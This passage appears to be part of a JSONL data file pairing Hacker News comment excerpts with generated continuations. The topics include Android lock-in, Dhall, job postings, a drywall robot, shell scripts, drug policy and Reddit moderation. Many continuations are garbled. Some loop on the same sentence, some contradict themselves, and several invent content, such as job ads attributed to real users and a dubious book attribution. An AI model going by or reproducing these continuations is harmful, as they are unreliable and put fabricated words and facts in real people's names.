market\nperceiving Google as a \"safe\" investment.\n\n~~~\njoezy", "input_text": " with the most\nsuccessful forks (just like they propose apps on Apple store).\n\n~~~\nbad_user\nGoogle's lock in is more about Google Play than about what is coming in\nAndroid. Basically as a manufacturer, if you don't play nice, then you don't\nget Google Play (or YouTube, or Gmail, or GMaps), which then means that your\nsmartphone is just an expensive brick with no apps on it. iOS is special\nbecause it is popular and was here first. But do you see Google giving a shit\nabout Amazon's stuff or about the Windows phone?\n\nYou know, i'm an Android user because of its openness, because of its ability\nto be forked, but Google practices a kind of lock-in that is very hard to\nescape. Basically everything they do is technically excellent, plus they end\nup dominating the underlying platforms.\n\n------\nAndrewKemendo\nBeing dominant is not the same as being a monopolist. I wish people would quit\nbringing that term up anytime a company is at the top of a market because it\nhas legal and social implications. I have even heard people say that they have\na natural monopoly which is just silly if you understand how natural\nmonopolies work.\n\nIn fact Google isn't a monopolist on any terms, but they do currently dominate\nsearch. My guess is they could be knocked off their perch fairly swiftly if\nsomeone came along with an amazing recommendation service (not like what we\nsee now) that was more advisory than search as it would necessarily absorb\nsearch.\n\n------\nmillstone\nI would disagree with characterizing GOOG's P/E (27.5) as \"low\" or \"not on par\nwith its financial performance.\" That's well above the average. The\ncomparisons"} +{"output_text": " them to the\nright unicode character.\n\n------\nklibertp\nI'm not sure if this is the right place to ask, but I'm curious: what's the\nbest way to learn a new programming language? I've been programming for a\nwhile, but I've never really learned a new language. I've been using C++ for\nthe last 10 years, and I've been using Python for the last 5 years. I've\nlearned a lot of", "input_text": " exactly the tool I've been hoping for. It feels like a non-\nhacky version of make + m4.\n\n~~~\ntotalperspectiv\nAnswering my own question, the README says that eventually the tutorial will\nbe language agnostic.\n\n------\nhiccuphippo\nI don't understand what the word \"distributed\" means here. Is it that it can\nload the configuration from multiple servers?\n\n~~~\nklibertp\nApparently any, or almost any(?), element of a language can be replaced with a\nfile path, which is then transparently read and used as if typed directly in\nthat place. It works even for type annotations and is type-safe. This allows\nfor easy factoring of the code into many files, and - by extension - to files\non remote hosts as long as they're accessible via a (built-in) HTTP support.\n\n------\nnojvek\nI tried to read Dhall manual and figure out if I could make sense of it. I\ncouldn\u2019t. Looks a bit too complicated for me.\n\nJsonnet strikes a great balance of json but with some nice template syntax so\nyou can be DRY.\n\nAlso what\u2019s wrong with being Turing complete. I love for loops.\n\n------\nshoo\nif there's anyone here who has used both dhall and jsonnet in anger, can you\ncomment on your experiences?\n\n------\nofrzeta\nWhat about those special characters like the lambda or the universal\nquantification? How to you type them?\n\n~~~\nGabriel439\nThere are ASCII equivalents. You can type `\\\\` instead of `\u03bb` and `forall`\ninstead of `\u2200`. Also `dhall format` will automatically translate"} +{"output_text": ".com](https://nested.com)\n\nNested is a new kind of job board. We're building a platform that allows\ncompanies to post jobs to their own site, and for candidates to apply to\nmultiple jobs at once.\n\nWe're looking for a back-end developer to join our small team. You'll be\nworking on a variety of projects, including:\n\n\\- Building a new job board platform from scratch\n\n\\- Integrating with a variety", "input_text": "structured on-site interview.\n\nIf you are interested in this role, or any of our others, please reach out to\nme over email.\n\nThis role, and all others can be found here.\n[https://boards.greenhouse.io/everwise#.WJNT2LYrI6g](https://boards.greenhouse.io/everwise#.WJNT2LYrI6g)\n\nThanks Stephen Fleming Everwise stephen@geteverwise.com\n\n------\nccenten\nBodyport (YC S15) | Senior Data Engineer | San Francisco, CA | ONSITE -\n[http://www.bodyport.com](http://www.bodyport.com)\n\nAt Bodyport, we are on a mission to eliminate the leading cause of death\nworldwide - heart disease. We are bridging the gap between hospital grade\nmedical devices and the health tools presently available in the home. Our\nfirst product uses a novel sensor technology to rapidly screen for the major\nrisk factors of heart disease in under fifteen seconds. The clinical-grade\ndata measured by our system fuels algorithms aimed at predicting and\npreventing the onset of cardiovascular disease.\n\nBy joining us as Data Engineer, you will play a critical role at an early-\nstage company dedicated to bringing lifesaving medical technology into every\nhome. You will work directly with our data science team to implement a backend\nthat will enable the design and implementation of groundbreaking learning\nalgorithms capable of improving the health and lives of all people.\n\nApply here: [https://jobs.lever.co/bodyport/](https://jobs.lever.co/bodyport/)\n\n------\nAJDFraser\nNested.com | Back-end Developer | London | ONSITE\n[https://nested"} +{"output_text": ".\n\n~~~\nTaylorAlexander\nI agree. I think the robot could be programmed to do all of those things.\n\nI think the real question is, how much of that is possible with current\ntechnology?\n\n~~~\nsandov\nI think it's possible to do all of those things with current technology.\n\n------\nsandov\nI think this is a cool demo. I would guess that this is a pretty \"hard coded\"\ndemo designed to work for", "input_text": "adget.com/2018/10/01/aist-humanoid-robot-installs-drywall/\n======\nTaylorAlexander\nIt\u2019s a cool demo. We\u2019re definitely getting better at making humanoids. I would\nguess this is a pretty \u201chard coded\u201d demo designed to work for this exact room\nsetup only.\n\nIt\u2019s going to be some time before we have the machine intelligence necessary\nto do enough for this robot to find a toolbox on its own, retrieve the\nnecessary tools, unload the drywall from a truck, carry it to the room in\nquestion, install it, and complain about OSHA all autonomously.\n\nStill, I\u2019ve never seen this before. We are making progress. Just keep in mind\nthat an actual robot that would do this commercially is probably 20 years\naway. Someone else said 10-20, and I\u2019m inclined to think 20+ is more\nrealistic. As in, you hire robots for your construction because it\u2019s\ncheaper/better.\n\n~~~\nsandov\n>It\u2019s going to be some time before we have the machine intelligence necessary\nto do enough for this robot to find a toolbox on its own, retrieve the\nnecessary tools, unload the drywall from a truck, carry it to the room in\nquestion, install it, and complain about OSHA all autonomously.\n\nI don't think it's necessary to develop machine intelligence to do some of\nthose tasks. The toolbox could could emit EM pulses so the robot can find it,\nthe tools could be put in a specific order and put back the same way by the\nrobot, the drywall could have easy-to-remove arrow stickers so the robot knows\nhow to find it's borders, etc"} +{"output_text": " service representatives to resolve\ntechnical issues. _Work with a team of developers to develop and maintain\nsoftware applications._ Develop and maintain software applications using\nvarious programming languages and tools. _Work with a team of developers to\ndevelop and maintain software applications._ Develop and maintain software\napplications using various programming languages and tools. _Work with a team\nof developers to develop and maintain software applications._ Develop and\nmaintain software applications using various programming languages and tools.\n\nKeyboarding Without", "input_text": ", and connection with over 250 million users\nworldwide. You\u2019ll help build the exciting features, services, and\ninfrastructure tools needed to fuel the next wave of Reddit\u2019s growth and get\nto directly see the impact of your work on hundreds of millions of users\naround the world.\n\nThe company is really great to work for with tons of amazing benefits (weekly\nmassages, breakfast & lunch, vacation stipend, unlimited vacation, and tons\nmore) and a great culture. It's rapidly growing, so we're hiring for many\ndifferent engineering roles including:\n\n* Backend Engineer (primarily using Python)\n\n* Data Engineer\n\n* Data Scientist\n\n* Full-stack Engineer\n\n* Frontend Engineer (primarily using Node.js, React, and Redux)\n\n* Senior Software Engineer - Android, iOS, Backend, Full-Stack, Frontend\n\n* Senior DevOps Engineer\n\nIf you're interested, check out our open positions at\n[https://about.reddit.com/careers/#jobs-16253](https://about.reddit.com/careers/#jobs-16253)\nand feel free to email me directly at reddineer at gmail dot com for any\ninfo/referrals.\n\n------\nmprodywus84\nKeyboarding Without Tears | Gaithersburg, MD | Front End Developer Software\nEngineer Job Duties:\n\n _8Design, develop, implement, and test front end administrative and student\nfacing technical products._ Collaborate with back-end and full stack\ndevelopers to enhance the user experience. _Work closely with UX and visual\ndesign teams to develop creative solutions that take into consideration the\ntechnical, organizational, schedule, and business requirements._ Collaborate\nwith support engineers and customer"} +{"output_text": "ist.go.jp/aist_j/press_release/pr2018/pr20180921_1.html)\n\n~~~\nmikekchar\nI think the point is that the robot is not autonomous. It is a humanoid robot\nthat is being used to demonstrate the capabilities of the robot.\n\nThe robot is not autonomous because it is being controlled by a human. It is\nbeing controlled by a human because it is a humanoid robot.\n", "input_text": " - the whole infrastructure around the care\nand feeding of the animals etc transitioning to manufacture, fuelling and\nsupport for steam engines). We're starting to see it now in the (slow)\ntransition from \"carbon-fuel transport\" to \"electric transport\".\n\n~~~\ngeezerjay\n> One of the conclusions was that, while the world of things was heretofore\n> designed with humans in mind, in \"the near future\" (i.e. about where we are\n> now), \"stuff\" would be designed for \"machine-first\" use, rather than \"human-\n> first\" use.\n\nThis.\n\nJust to provide an example, humanity already has self-driving cars for\ndecades, and they are deployed and are extensively used in public\ntransoortation. The trick to solve this problem was to not force human-\ndesigned solutions to an automation problem.\n\nThus, instead of trying to automate vehicles to run on roads, we have vehicles\nrunning on railway tracks.\n\nProblem solved.\n\n------\nofrzeta\nDoesn't make much sense to me. Apart from the fact that a humanoid could walk\nto the workplace \u2013 which it probably can't. For the actual task it would be\nmuch easier to use a non-humanoid with a carriage and several axes.\n\nAlso it is a bit of a hoax because the whole humanoid reporting kind of\nsuggests the robot is autonomous while one the image you can see a camera\nmounted on top of the wall and there's probably some huge computer in the\nback.\n\nEDIT: Here's some actual information about the project:\n[https://www.aist.go.jp/aist_j/press_release/pr2018/pr2018092...](https://www.a"} +{"output_text": "string \"{\\\"message\\\": \\\"$MSG\\\"}\" \\\n --url \"https://api.blingle.io/v1/notifications\" \\\n --data-urlencode \"{\\\"token\\\": \\\"$TOKEN\\\"}\" \\\n --data-urlencode \"{\\\"message\\\": \\\"$MSG\\\"}\"\n\n------\njoshu\nI have a script that I run every night that does a bunch of stuff. I have a\n", "input_text": " _today_ to auto-create daily scratch\ndirectories:\n\n \n \n TODAY_DIR=\"$HOME/today/\"\n DATE_DIR=$(date +'%Y-%m-%d')\n \n if [! -d $TODAY_DIR$DATE_DIR ];\n then\n mkdir -p $TODAY_DIR$DATE_DIR\n fi;\n \n echo $TODAY_DIR$DATE_DIR\n \n\nSo you can do stuff like this with less thinking/typing:\n\n \n \n cp somefile.csv $(today)\n \n\nI've been using this for a few years and continually find it handy, both at\nthe command line and in keeping files clustered when I want to dig something\nup later. It is slightly less helpful if you regularly work past midnight,\nthough!\n\n------\nmod\nNot exactly a script, but I work at home and sometimes I need to drown out the\nkids (or the wife!). I have this in my.bashrc:\n\nalias whitenoise='play -q -c 2 -n synth brownnoise band -n 1600 1500 tremolo\n.1 30'\n\nIt plays some fuzzy whitenoise, which drowns them out and lets me keep focused\n(music is often distracting to me).\n\n------\ndavidbanham\nI call this blingle. I call it after any long running operation that I want to\nbe notified of. It pops a desktop notification and sends a push message to my\nphone.\n\neg: make deploy; blingle\n\n#!/bin/bash\n\nMSG=${@:-\"Job complete\"}\n\nnotify-send \"$MSG\"\n\ncurl -s \\\n\n \n \n --form-"} +{"output_text": " similar story:\n[https://news.ycombinator.com/item?id=14650164](https://news.ycombinator.com/item?id=14650164)\n\n------\njohngalt\nI'm not sure how this is different than the Wells Fargo scandal.\n\nThe only difference is that Wells Fargo was a bank and the government is a\ngovernment.\n\n~~~\njessaustin\nWells Fargo was a", "input_text": "survivors. It was so sad to see Jon Stewart talk about this years later with\nonly one person from the original panel because two were too ill now to show\nup and one died.\n\n[http://www.dailymail.co.uk/news/article-3350433/John-\nStewart...](http://www.dailymail.co.uk/news/article-3350433/John-Stewart-s-\npoignant-return-Daily-three-chairs-Former-host-Trevor-Noah-s-guest-leaves-\nspaces-9-11-responders-dead-ill-join-show.html)\n\n~~~\ntoomuchtodo\nKudos to Jon Stewart though. He walked the halls of Congress on his own time\nafter leaving the Daily Show to shame representatives into passing the bill\nresponsible for covering the care of first responders.\n\n[https://www.youtube.com/watch?v=-L11Bxolo44](https://www.youtube.com/watch?v=-L11Bxolo44)\n\n------\njohngalt\nThis smells like recruiters gaming the system while under pressure from the\ntop to fill quotas. In the same vein as Wells Fargo.\n\nHit this impossible target or you're fired. We can't tell you to lie/cheat\npeople to hit the numbers but we will promote the people who do and PIP the\nones who don't. Meanwhile we will go through the motions of legal compliance.\n\nEveryone gets what they want and the higher ups can come back later and act\nlike it is a huge surprise to them that the people they hired and trained were\ngaming the system.\n\n------\nthrowawayIndian\nElsewhere, a"} +{"output_text": "launchpotato.com/campaign-\nmanager](http://launchpotato.com/campaign-manager)\n\n------\njoshu\nSense | San Francisco, CA | Full-time | ONSITE\n\nSense is a mobile health startup that's changing the way people take care of\ntheir health. We're building a mobile app that helps people track their\nhealth, set goals, and track their progress. We're looking for a full-stack\nengine", "input_text": "lr4fwn](https://www.hulu.com/jobs/positions/onlr4fwn)\n\nAnd of course you can check out the rest of Hulu's open positions at\n[https://www.hulu.com/jobs](https://www.hulu.com/jobs).\n\n~~~\napurvbhar\nInterested. Is there any email that I can send my resume at?\n\n------\nlaunch-potato\nLAUNCH POTATO | Engineers, Product Managers, Marketing |\n[http://launchpotato.com/careers](http://launchpotato.com/careers) | Delray\nBeach, FL, or Remote | Full Time\n\nLaunch Potato is a profitable startup studio that incubates and launches\nmobile and web companies on our proprietary technology stack.\n\nWe\u2019re HQed in Delray Beach, FL, but have an amazing, distributed global team.\nWe believe in building teams who can solve complex problems using smart\nmarketing, great engineering, data science and fun!\n\nFeatured Openings:\n\nFront-End Engineer, Marketing - [http://launchpotato.com/front-end-\nengineer](http://launchpotato.com/front-end-engineer)\n\nDevOps Engineer - [http://launchpotato.com/devops-\nengineer](http://launchpotato.com/devops-engineer)\n\nData Engineer - [http://launchpotato.com/data-\nengineer](http://launchpotato.com/data-engineer)\n\nProduct Manager - [http://launchpotato.com/product-\nmanager](http://launchpotato.com/product-manager)\n\nCampaign Manager - [http://"} +{"output_text": "\n\nThe \"CSS is a language\" principle - CSS is a language, not a markup language.\nIt's a language that can be used to describe the visual appearance of a page.\nIt's not a markup language that describes the structure of the page.\n\nThe \"CSS is a language\" principle is a good one to keep in mind when you're\nwriting CSS. It's a good way to think about the relationship between CSS and\nHTML.\n\n[1]", "input_text": " (say a different BG colour) but it also has a lot in common with other\nparts of the page. For instance, it's nothing more than a grid column, so why\nbundle all styles into one class instead of using the grid abstraction to\n\"decorate\" the sidebar with this? This is equivalent to breaking a system into\nreusable classes. See Nicole Sullivan's article on the Media Object [1] and\nHarry Roberts on the open/closed principle in CSS [2]\n\nSingle-responsibility principle - Do one thing and do it well. A class should\nhave a single-responsibility so that it can be composed into larger \"blocks\"\nof styling. A class that does everything is monolithic and difficult to work\nwith as soon as a design needs to change. Overly broad selectors in CSS can\nalso break the single responsibility principle - suddenly your styling is\nrelying on the coincidental placement of elements inside one another. Harry\nRoberts cover this [3]\n\nLoose-coupling: Can parts of your code base change without affecting others?\nBy @extending grid classes you're tightly coupling yourself to the\nimplementation details of the grid system. Now you can of course override\nstyles in your sidebar class, but overriding styles from previous classes is a\ncode smell. If you're \"undoing\" what another class has done, you've applied a\nstyle too early. You suggest changing the CSS and leaving the HTML the same\nwhen a change is required. I always prefer changing the HTML because it has a\nfar more limited scope for far reaching changes. If you change one segment of\nHTML you know it's not going to affect other parts of the site beyond itself\n(and possibly it's children), but if you change some tightly-coupled CSS its\neffects could ripple throughout the whole site."} +{"output_text": "://www.amazon.jobs/en/jobs/111202](https://www.amazon.jobs/en/jobs/111202) * [https://www.amazon.jobs/en/jobs/111203](https://www.amazon.jobs/en/jobs/111203)\n\n------\njoshu\nPagerDuty | San Francisco, CA | Full-time | Onsite\n\nPagerDuty is a fast-growing", "input_text": " our engineering blog to see what we've been working on:\n[https://mixmax.com/engineering](https://mixmax.com/engineering)\n\nOur stack: Node, Mongo, Elasticsearch, AWS, Redis, Electron (full stack:\n[http://stackshare.io/mixmax/mixmax-for-\nweb](http://stackshare.io/mixmax/mixmax-for-web))\n\nEmail careers@mixmax.com and let\u2019s chat!\n\n~~~\ndesi_ninja\nIs the post still there? I sent a mail in January for this post and haven't\ngotten any reply. Should I apply again or no response is automatically a\nrejection?\n\n------\ngaff\nAmazon Prime Now | SDEs, SDMs, TPMs, QAEs | Seattle, WA and San Diego, CA |\nFULLTIME | ONSITE\n\nMy team is working on a confidential, high impact initiative for Prime Now\nthat involves working with over 75 teams across Amazon, solving highly\nambiguous problems on an international scale at a tremendous pace with a heavy\nfocus on customer experience. This is an early stage initiative with a fast\npaced, highly collaborative start up like environment inside Amazon.\n\nI am hiring Software Development Engineers, Software Development Managers,\nTechnical Program Managers, and Quality Assurance Engineers to work on this\nexciting and evolving challenge. We operate under a single-threaded owner\nwhich means the technical team work extremely closely with our product team.\n\nBelow are a few of the positions we are hiring for in both Seattle and San\nDiego. If you are interested please reach out to me (gjones @ amazon. com)\nand include HN in the subject. Thanks!\n\n* [https"} +{"output_text": "ive study on this is the book \"The Great Wall of Money\" by\neconomist and former IMF economist, Kenneth Lieberthal.\n\n~~~\nmytailorisrich\n> _I don 't see it frequently in writing, but the majority of TV and podcast\n> reporting from news sites has the disclaimer._\n\nI don't think it's a disclaimer, it's just a statement of fact.\n\n> _The ability to collect accurate statistics when there '", "input_text": "ated-for-nine-years-study-finds)\n\n[https://time.com/5811222/wuhan-coronavirus-death-\ntoll/](https://time.com/5811222/wuhan-coronavirus-death-toll/)\n\netc\n\nWhy should any respectable journalist quote their statistics about COVID and\nconclude how effective their response was without mentioning that they've been\nknown to fabricate statistics? Let alone calling them a 'Global Leader' in\nresponse. I've not seen this qualification mentioned once with respect to\nChina's stats on this virus.\n\n~~~\ndirtyid\n>mentioned once\n\nI don't see it frequently in writing, but the majority of TV and podcast\nreporting from news sites has the disclaimer. And there's enough China bad\narticles out there that I feel like this is implicitly assumed.\n\nEither way, no one trusts Chinese stats, including the Chinese public\nthemselves, and the Chinese government most of all. The ability to collect\naccurate statistics when there's so many different development levels country-\nwide simply isn't there. For example, China doesn't use GDP internally, they\nuse LKI, LiKeQiang Index which aggregates a value from measurable indicators\nlike freight cargo volume, electric consumption, bank loans. There's also TSF,\nTotal Social Financing. They can still be gamed, but physically (running empty\ntrains), but much harder to fake via submitting fake excel sheets to central\ngovernment. Chinese GDP is basically a back of the napkin estimate to appease\nforeign investors, it's also used to set growth targets instead of reflecting\nit. Most of the mainstream western reporting on Chinese GDP does not\nunderstand this. It's well understood among China watchers. The most\ncomprehens"} +{"output_text": ", but I'm not sure how to go about it. I'm not a writer, so I'm not sure how to approach it. I'm not sure what to write about, so I'm not sure how to approach it. I'm not sure what to write about, so I'm not sure how to approach it. I'm", "input_text": "W? Open these.\")\n\n------\np0larboy\n(Click -> Tool tip) works better IMO. The sudden append of words threw off my\nreading rhythm.\n\n------\nsteveklabnik\nI've used something similar for talking about complex code examples. You can\nshow only the current line you're talking about, but have a button to expand\nout the full example. it's pretty great. Excited to give this a try!\n\n------\nGroSacASacs\nHow does a screen reader handle that?\n\n~~~\nStavrosK\nI'm not sure (I'd appreciate some feedback by someone who uses one), but I'd\nthink it would just read the whole text. Depends on what it does with hidden\ntext.\n\n~~~\nGroSacASacs\nI recommend reading [https://en.wikipedia.org/wiki/WAI-\nARIA](https://en.wikipedia.org/wiki/WAI-ARIA)\n\n------\nvisarga\nGreat, a nice little used UI pattern. Now when will my Expounder Wikipedia\nviewer come?\n\n------\nharel\nVery nice and clever. I like it it fits seamlessly into the text.\n\n------\nChristianBundy\nI _knew_ that name looked familiar! Small world.\n\n~~~\nStavrosK\nHaha, you bastard :P\n\n \n\nAsk HN: Examples of good writing in computer science? - chewxy\n\nHey fellow HNers

I'm about to go off for a holiday and I'd have many hours to kill on the plane and I'd like to spend some time reading. I've started work on writing a book on virtual machines"} +{"output_text": "\nthat are visible to the naked eye.\n\n~~~\nimvetri\nI am not saying it is fake. I am saying that it is not possible to fake it.\n\n~~~\nPopePompus\nI'm not saying it's fake. I'm saying that it's not possible to fake it.\n\n------\nm0zg\nI'm not sure if this is a good idea. I mean, it's not like you can't just\npoint the", "input_text": " at this\ncomputational photography though (I've never checked to see if there are linux\nversions), but it better be if it indeed helps image quality.\n\n~~~\nygra\nYeah, it's definitely nice to get ~1000 images per battery charge. But when\nuploading to the PC infrequently you'll then have to sort photos into groups\nto process individually (something I already hate with panoramas). Personally\nit's something I'd rather not do, at the expense of only getting ~200 photos\nper charge. It's also not necessary to compromise, as those special modes\nwould be, well, special modes. So to preserve battery I could just as well\nshoot raw as normal.\n\n------\nPopePompus\nThe photos taken in this mode are amazing. But I think they are improved a lot\nif a vignetting correction is applied. Without that correction, the sky\nbrightness is much greater near the center of the field than near the edges.\n\n------\nkohtatsu\nAny recommendations for tripods/cases?\n\niPhone 11 Pro here.\n\n------\nimvetri\nWhat are the possibilities that this AI camera app is not faking the image.\n\nHere is why I ask \\- It has gyro - so knows whether we are pointing at sky or\nnot. \\- AI checks whether its a clear sky - if yes - post fake image. If no -\nDont risk getting caught. \\- Time + geo spacing - Gives the angle, position of\ncamera relative to the space above us.\n\n~~~\nPopePompus\nThere is no chance this is being faked. I've been playing with the\nastrophotography mode on a Pixel 4 XL in a remote country location with no\ncell phone connectivity. A single 4 minute exposure is able to record stars"} +{"output_text": "newport.com/blog/)\n\n------\nralusek\nI'm not sure if this is the right place to ask this, but I'm curious if there\nare any non-profit organizations that would hire a person with a degree in\npsychology/social services?\n\n~~~\nralusek\nI'm not sure if this is the right place to ask this, but I'm curious if there\nare any non-profit organizations that would hire a person with a", "input_text": "? For whom? The thing is distributed, it's not like the host has\nto shoulder most of the bandwidth costs.\n\nIf one wants to live off their videos, that's another problem, but most videos\ndon't mean to be monetised at all \u2014no ads, no Patreon, no nothing.\n\n~~~\nralusek\nThey can just use Patreon in exactly the same way they do for YouTube.\n\n \n\nChange to IT - rjohnk\n\nIn short: Is there a way to transition to IT without dropping everything and going back to school?

Long story: I initially went to college in pursuits of a Comp Sci degree. I had a difficult time and burnt out in one year, switching my major a full 180 to Psychology/Social Services.

I'm now at a non-profit, but it's not what I want to do.

I shouldn't have done that 180. I should have done a "30". But I was young.

I have children and a wife, and going back to school, even part-time, is not an option as I'm already paying off loans. How do I get my foot in the door? I'm not formally trained, but I always fall back into Tech/Computers, and want to do that in my work.\n======\nxtraclass\nMaybe you could choose a topic which is interesting to you and where there is\na good market. Then learn about it (WEB), practice it at home as much as\npossible, write about it - ask for a job then. About learning and job:\n[http://calnewport.com/blog/](http://cal"} +{"output_text": "\njustice system in the US:\n\n[https://en.wikipedia.org/wiki/Criminal_justice_in_the_United...](https://en.wikipedia.org/wiki/Criminal_justice_in_the_United_States)\n\n[https://en.wikipedia.org/wiki/Criminal_justice_in_the_United...](https://en.wikipedia.org/wiki/Criminal_justice_in_", "input_text": " experience with Metro apps on touch devices\nhas been amazing. On desktops, I rarely have a reason to use them - except for\nrunning a full-screen Kindle / Netflix app on an additional monitor.\n\nFWIW, iOS7 and the latest Android UI actually borrow a lot from the Windows\nPhone flavor of metro pretty heavily. The context switching between apps on\niOS7 is identical to what MSFT introduced in WP7.1 (Mango.)\n\n~~~\njccalhoun\nI agree. On my (non-touch screen) laptop I hardly ever use the metro apps. I\nlike win8 but I just go to the desktop practically every time. There just\naren't any metro apps worth using right now (I basically only use this laptop\nwhen i'm in front of my netflix-capable tv)\n\n~~~\nAaronontheweb\nDecent Metro Apps: I recommend ReddHub - it's a pretty slick Reddit client for\nthe Windows Store. I use it on my Surface RT all the time.\n\n \nBuilding software to identify trends in unsolved murders - adventured\nhttps://www.bloomberg.com/news/features/2017-02-08/serial-killers-should-fear-this-algorithm\n======\ne28eta\nDoes anyone know why MAP focuses on the clearance rate? It seems to conflate\narresting someone with \"solving\" the murder.\n\nI can think of some plausible reasons: practicality (easiest to collect,\nstable over time), political (if your audience is the police, basing your work\non the assumption that they arrest the right guy is probably smart),\nstandardization (is it?), etc.\n\nWikipedia is fairly light, but does link to a pair of articles on the criminal"} +{"output_text": " drugs).\n\nI think the best way to fight drug abuse is to educate people about the risks\nand benefits of drugs.\n\n~~~\njlgreco\n> _I think the best way to fight drug abuse is to educate people about the\n> risks and benefits of drugs._\n\nI think that is a very good way to fight drug abuse.\n\n~~~\nweddpros\nI agree, but I don't think it's the only way.\n\n", "input_text": "://libgen.org/scimag/get.php?doi=10.1177%2F0269881114548...](http://libgen.org/scimag/get.php?doi=10.1177%2F0269881114548296)\n\n------\nJetSpiegel\nI think it's hypocritical to defend keeping other drugs illegal while allowing\nalcohol and tobacco to thrive. Either we go full puritan and forbid all drug\nuse, or this talk of defending people from themselves is just protectionism\nfor the tobacco and alcohol industries.\n\n------\nweddpros\nI know it's easier to say \"it's obviously bad, so we must ban it\"... but I\nwanted to share some thoughts too. (I don't use drugs, I stopped smoking, I\nstill drink alcohol)\n\nCantaloupe can kill me (allergy), so I choose not to eat it. Darwin at work...\nFor similar reasons, I'm not pro-drugs.\n\nBut I don't think a ban on cantaloupe is needed, the same way I think drug\nprohibition is not an appropriate response to drug abuse. I know it seems far\nstretched, but please read on.\n\nWe base our choice on perceived risk vs benefits. People who decide to use\ndrugs that could kill them probably don't care about the law. If you accept a\nhigh risk of death, jail shouldn't look like a major risk for you.\n\nThe fact that a majority of people have tried drugs prove that prohibition\nonly allows punishment, but it doesn't prevent drug abuse.\n\nReconsidering prohibition doesn't equal being lawless: if a drug addict\nkills/hurts/steals from you, he risks jail anyway for that (not so much for\nusing"} +{"output_text": " allowing communities to form in the first place.\n\n~~~\nmatt4077\nI don't think it's the technology. I think it's the community.\n\nI've been on Reddit for years, and I've seen it go from a place where you\ncould find interesting discussions, to a place where you can't find anything\nbut the most extreme, and often the most offensive, content.\n\nI don't think it's the technology that's the problem. I", "input_text": " best make it an optional preference, but why\nwould you _want_ to see offensive slurs by default?\n\n~~~\northecreedence\n> why would you want to see offensive slurs by default?\n\nIf I don't want to see offensive slurs, I won't associate with people who use\nthem. Let me decide what is a slur or not, and let me decide who to associate\nwith.\n\n------\nshawndumas\nThe \u201cforgot password\u201d link does not work. (On mobile so I did not dig in and\nsee if there were any errors in the console.)\n\n------\nEricson2314\nNLNet, the source of funding, is a truly superb institution that should be\nbetter known in the US.\n\n------\nsaltedonion\nUm. CSS isn\u2019t loading on safari mobile. I hope this isn\u2019t the actual\nexperience?\n\n------\nIgorPartola\nThe problem with Reddit isn\u2019t the technology. I mean, yes open source is good,\nand I want more of that. Even Android is a good thing even if only one company\nactively contributes to it. At least when you hit a bug or don\u2019t understand\nhow something works, you can go read the code. But the problem with Reddit is\ncommunity management, and re-writing it won\u2019t solve that.\n\nReddit has been a mostly free for all in terms of moderation, and it is\nexplicitly set up to allow thought bubbles, which gives rise to communities\nthat dox activists, that incite violence, that promote conspiracy theories,\netc. I love Reddit\u2019s good parts and really detest its bad parts. Problem is\nthat you can only solve that with strong application of content guidelines, or\nby not even"} +{"output_text": ", which is a mistake.\n\n~~~\npaulryanrogers\nI think the OP is referring to freeware.\n\n~~~\nem3rgent0rdr\nI think you are right.\n\n------\njwilk\n> _The only thing that matters is that the software is free._\n\nI don't think that's true.\n\n> _The only thing that matters is that the software is free._\n\nI don't think that's", "input_text": " paying _customer_, but not to\nanybody else. Of course, then your customer has the 4 freedoms described\nabove, and he could further sell or give your software, along with the sources\nto somebody else. But this is work and it would involve charges, so he may\nchoose not to do so.\n\n~~~\npaulryanrogers\n> Of course, then your customer has the 4 freedoms described above, and he\n> could further sell or give your software, along with the sources to somebody\n> else. But this is work and it would involve charges, so he may choose not to\n> do so.\n\nWith OpenSSL many apparently did use it and resell it without compensating\nupstream. Only after HeartBleed did that situation change. For a more GPL\nexample I've noticed DosBox Turbo reuses both DosBox and another port's work\nin their sources. My guess is unmodified reselling may be happening with\nWooCommerce plug-in's at Woothemes-plugins.com and Wooextension.com.\n\n~~~\nem3rgent0rdr\nBut let us not forget how efficiently and immediately OpenSSL was able to be\nforked, precisely because it was free software.\n\n~~~\npaulryanrogers\nCertainly that is a benefit for the consumer. But my regrets are because I am\na producer. When others can use one's work to resell updated copies without\ncompensation then I doubt one would feel motivated to keep working on it.\n\n------\nem3rgent0rdr\n\"free software\" is not the same as \"freeware\", which by commonly accepted\nusage is almost always reffering to proprietary software that is distributed\nat no cost. The OP tends to implicitly conflate them"} +{"output_text": " posts are more likely to be new.)\n\n~~~\ndang\nI don't think that's true. The front page is full of posts about programming,\nand the most popular ones are about programming.\n\n~~~\nenkiv2\nI'm not sure what you mean by \"full of posts about programming\". The front\npage is full of posts about business, and the most popular ones are about\nbusiness.\n\n~~~\ndang\nI mean that the front", "input_text": "Highly technical programming articles can be hard to digest and don't appeal\nto a wide audience so they get less upvotes, especially if it's about a\nspecialized language. If you really wanted to read those articles, you could\nstill find them in abundance on other programming/hacking/specialized forums.\n\n~~~\ncbHXBY1D\nThere was a noticeable drop in quality on HN after we started allowing\npolitical content. I think it's brought in a new crowd of HN users. I remember\nhow in 2006 to 2010 Reddit changed from a place mostly frequented by\nprogrammers to a place filled with memes, trolling, and politics.\n\nEdit: I generally hate the \"the past was better\" type of attitudes but I think\nin the case of HN and Reddit one just needs to look at the quality of 6 years\nago to today.\n\n------\nenkiv2\nMost of the content on HN appears to be about business, rather than about\nprogramming itself, or focuses on lucrative but technically-uninteresting\ncorners of programming (like web design). This business focus makes sense,\nsince HN is run by a VC firm and a lot of non-technical users who would like\nto run tech companies hang out here.\n\nThere's a related category: technically-uninteresting posts about technically-\nuninteresting projects that are essentially advertising for some small\nbusiness. This is probably, again, related to HN being run by a VC firm.\n\n(For context: I browse HN daily, but I never use the front page -- the values\nof the average HN user are far away from mine, so sorting by newest produces\nmore interesting content. If you find the HN frontpage devoid of posts about\nprogramming, try sorting by newness rather than popularity, since technically-\ninteresting"} +{"output_text": " know who is a good friend of mine is a good example of a\nmonstrously strong candidate. He is a very good scientist, but he is also a\nvery good programmer. He is a very good programmer because he is a very good\nscientist.\n\n------\njgrahamc\nI'm not sure that you're going to get a job in the US. I'm not sure that you\ncan get a job in the US.\n\nI'm not sure", "input_text": " school.\n\n4\\. GvR could probably get into a good grad school. Below that will probably\nnot help very much.\n\nHowever, many places will give you a masters if you pay tuition. Don't expect\nto jump from the masters to Ph.D. track, however.\n\n~~~\nplinkplonk\n\"You graduate at age 32. That's over the hill. Many grad schools will flatly\nreject you for this reason\"\n\nI hope this isn't universal. I am planning to apply in 2010 and I'll be 38\nwhen I do. Oh well one more wall to jump over, so what's new? :-)\n\n~~~\nwhacked_new\nI recently met a first year PhD 